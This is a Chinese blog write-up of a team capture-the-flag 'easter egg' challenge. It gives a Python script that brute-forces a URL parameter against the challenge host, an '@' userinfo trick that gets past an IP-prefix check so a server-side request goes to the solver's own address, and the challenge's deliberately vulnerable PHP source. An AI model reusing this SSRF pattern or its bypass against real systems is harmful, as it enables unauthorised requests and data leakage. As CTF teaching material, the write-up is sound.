zoukankan      html  css  js  c++  java
  • [彩蛋题] egg

    最近队内考核赛,@depy师傅出了一道“彩蛋题”,觉得槽点满满就写出来吐槽吐槽。由于题目环境已经关闭了,一些细节大家脑补一下。

    进入环境可以看到题目描述(截图找不到了,用脚本输出的html脑补一下):

    包括我在内的很多师傅在看到题目描述之后第一思路都是先爆破出switch参数对应的整型数字,但是爆破了一段时间发现返回内容依旧没有任何变化:

    这个时候感觉到思路可能走偏了,于是就尝试先去解决file参数,既然是SSRF就推测file参数应该对应的是IP地址
    在尝试了127.0.0.1,192.168.1.1之类的本地IP之后依旧没有任何进展,思路就卡住了,准备和depy师傅开始撕逼的时候,他选择了臣服,告诉我需要爆破IP地址
    于是写了一个脚本爆破IP地址:

    import requests
    
    url1 = "https://src.sgk.pub/tools/index.php?switch=666&file=http://127.0.0.1/public/tools/index.php"
    data1 = requests.get(url1).text
    print(data1)
    for i in range(0,256):
    	url = "https://src.sgk.pub/tools/index.php?switch=1&file=http://"+str(i)+"0.0.1/public/tools/index.php"
    	data = requests.get(url).text
    	print("Testing: "+url)
    	if data != data1:
    		print(data)
    		print(i)
    		break
    

    用这个脚本成功爆破出来了符合条件的A段与B段:

    得到返回:

    good!But I can't send you a request.And do you really have this IP asset?And you don't have to test the file parameter too much.

    之后对C段和D段的爆破都没有结果,因而猜测file参数只需要满足IP地址在81.163.x.x范围内即可
    之后尝试继续爆破switch参数,同样的脚本稍微改一改继续爆破可以得到switch=666(内心OS:depy真是纯傻逼,早知道就不该用正常人的智商思考这道题,直接盲猜666)
    得到返回:

    good~flag has already send to your address~

    说实话这个时候已经感觉事情不对劲了,看返回的信息意思是flag会发送到file参数的IP地址中
    题目限制了IP地址的范围,这个时候最傻逼的事情出现了,depy师傅这个时候一直告诉我最后一步需要钞能力,并且表示他的服务器IP正好符合要求,可以有偿借用给我nc,所以也就没有多思考绕过的思路,直接选择了钞能力(毕竟出题人都这么说了- -||):

    “微信收款一元~”
    于是我得到了flag:

    但是做出来之后怎么都觉得被坑了,认真想了想之后,发现用@就可以绕过IP范围的限制
    只需要构造
    http://81.163.0.0@自己的IP地址
    这样flag就可以发送到@后面的IP地址中

    最后附上题目源代码:

    <?php
    error_reporting(0);
    $file = $_GET['file'];
    $switch = $_GET['switch'];
    if(strpos($file,'http://')!==false){
        if(substr($file,0,9) !== 'http://81'){
             exit("<br>Yes, but you have to find a number I specified as the beginning of your server IP to go deep");
        }
        if(strpos($file,'163')!==false){
            if($switch == '666'){
                echo "<br>good~flag has already send to your address~";
                file_get_contents($file."?flag=vnctf{p3rh4ps_is_my_son.}");            
            }else{
                echo "<br>good!But I can't send you a request.And do you really have this IP asset?And you don't have to test the file parameter too much.";
            }
    
        }else{
            echo "<br>Come on!Try some other numbers in the address";
        }
    }else{
        echo "<br>加油~";
    }
    

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    自动化运维 Expect
    C 语言Struct 实现运行类型识别 RTTI
    Mac 安装配置rz、sz
    Mac Vim + ctags 实现多目录跳转
    Mac 使用Sublime Text 3 搭建C开发环境
    this.$createElement用法
    判断一个数字在数组中出现次数
    iview的table:自定义table表格中列头的标题和点击事件(renderHeader)
    js计算不精确问题
    js 日期时间的格式化
  • 原文地址:https://www.cnblogs.com/yesec/p/14427575.html
Copyright © 2011-2022 走看看